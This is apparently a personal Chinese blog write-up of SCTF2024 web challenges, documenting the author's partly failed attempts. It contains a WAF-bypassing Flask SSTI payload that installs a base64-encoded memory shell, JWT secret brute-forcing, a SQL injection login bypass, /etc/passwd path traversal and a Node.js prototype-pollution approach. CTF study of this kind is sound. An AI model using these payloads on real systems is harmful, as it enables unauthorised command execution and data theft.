SCTF2024
0x01 前言
又是变成劳大的一个周末
0x02 question
ezrender
这里进入之后是一个登录框,本来是黑盒的,但是后面给了代码和提示
1 | ulimit -n =2048 |
先把代码放出来吧
app.py
1 | from flask import Flask, render_template, request, render_template_string,redirect |
User.py
1 | import time |
verify.py
1 | import json |
waf.py
1 | evilcode=["\\", |
先看了一下waf
,肯定是要flask
打SSTI的,verify
这里肯定说明cookie是jwt
,要伪造admin
,但是现在的问题就是怎么拿到cookie
,继续看代码
1 | if method=="POST": |
注入点找到了,同时还发现了一个路由是用来移除用户的,同时转向观看,发现secret
的获取方法
1 | def handler(self): |
这里就和hint
对上了,当一个文件被频繁open
并且没有关闭时会有一个漏洞,当unlimit
限制触发时会直接爆出时间戳,然后作为密钥,拿到cookie
之后伪造,
先注册用户2048个用户,然后再注册1个用户此时先跑出时间戳
不过这里时间戳很难算准,所以还是爆破
1 | import time |
后面生成字典来爆破
1 | # 定义起始和结束值 |
然后上菜
1 | import jwt |
然后我们就可以来伪造啦
1 | import time |
伪造出来是这个
1 | eyJuYW1lIjogIkpheTE3IiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pU21GNU1UY2lMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLjBuVkp5NmpEaC0yRVRFWUtZWmcxNmFMTWxURTBDbFdzTWtxUzdfRmVEbjAifQ== |
删除多余用户,再打入内存马,主要就是SSTI的地方,禁用了eval
,那我们就要拿exec
,怎么拿,可以直接引号拼接,也可以使用小写
1 | ('e''xec') |
内存马我们之前写过,随便拿一个出来
1 | url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())") |
但是我们现在没有eval
,换成exec
在本地实验一下
1 | url_for.__globals__.__builtins__.__getitem__('e''xec')("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())") |
成功了,但是还是需要绕过,因为里面有中括号,编码绕
1 | (url_for.__globals__.__builtins__.__getitem__('e''xec'))("import base64;ex"+"ec(base64.b64decode('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCd3aG9hbWknKS5yZWFkKCkp'))") |
欧克了,还差最后一点,就是url_for
被搬了,那我们再改改就行了,对了上面的payload
是whoami
,这个也得改改
1 | (g.pop.__globals__.__builtins__.__getitem__('e''xec'))("import base64;ex"+"ec(base64.b64decode('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp'))") |
欧克了/admin
,POST
打入,然后GET
得到flag
SycServer2.0
查看源码发现防火墙,但是只是一个前端验证
控制台输入这个就可以绕过了
1 | function wafsql(str) {console.log(str);return str;} |
万能密码登录之后
1 | 1' or 1=1# |
进入/robots.txt
1 | User-agent: * |
访问之后啥也没有,但是感觉像是任意文件读取
1 | http://1.95.87.154:22734/ExP0rtApi?v=static&f=../../../etc/passwd |
也就是说可行的,回到hello
界面,看到这张图片是在当前目录
1 | http://1.95.84.173:25482/ExP0rtApi?v=./&f=app.js |
然后解base64之后保存为gzip,然后在继续解压得到文件
1 | const express = require('express'); |
可以看到路由/VanZY_s_T3st
,是有命令执行的情况的,看看能不能污染搞搞事情
并且看到可以继续读child_process
1 | http://1.95.84.173:25482/ExP0rtApi?v=./handle&f=child_process.js |
1 | function patchChildProcess(cp) { |
然后我不会nodejs的污染,找不到污染点了,我服了,最后看WP是说/report
的reportmessage
是污染点,然后我们污染data
,劫持环境变量
看包
1 | POST /report HTTP/1.1 |
这里自己写包的时候一直不对,问了一下AI就通了,我不如AI(呜呜呜)查看flag
,访问/VanZY_s_T3st
havefun
得到提示但是我还是看了很久的图不过后来我灵机一动,存下来放到010里面得到了源码
1 |
|
还有的信息就是这个
1 | Database |
哦豁又给卡着了,后面知道可以像这样来使得图片被作为php
解析
1 | http://1.95.14.236/static/SCTF.jpg/1.php |
看到最后面有这个,在010
里面没出现的东西
1 | <VirtualHost *:80> |
1 | RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] |
有这两个特殊的玩意,但是不知道咋用,欧克驾崩,看了WP也看不懂
问卷
随便写,但是影响最深的应该是havefun,还有就是怎么给图片啊,我自己识别错好几个字符,最后还要手敲
0x03 小结
浮现也这么难搞吗,这三个题是当时有思路但是中途就给卡着,干不动了,所以这次比赛仍然是爆零的劳大,学到了一些东西!
- Title: SCTF2024
- Author: baozongwi
- Created at : 2024-10-02 11:17:26
- Updated at : 2024-10-04 15:26:20
- Link: https://baozongwi.xyz/2024/10/02/SCTF2024/
- License: This work is licensed under CC BY-NC-SA 4.0.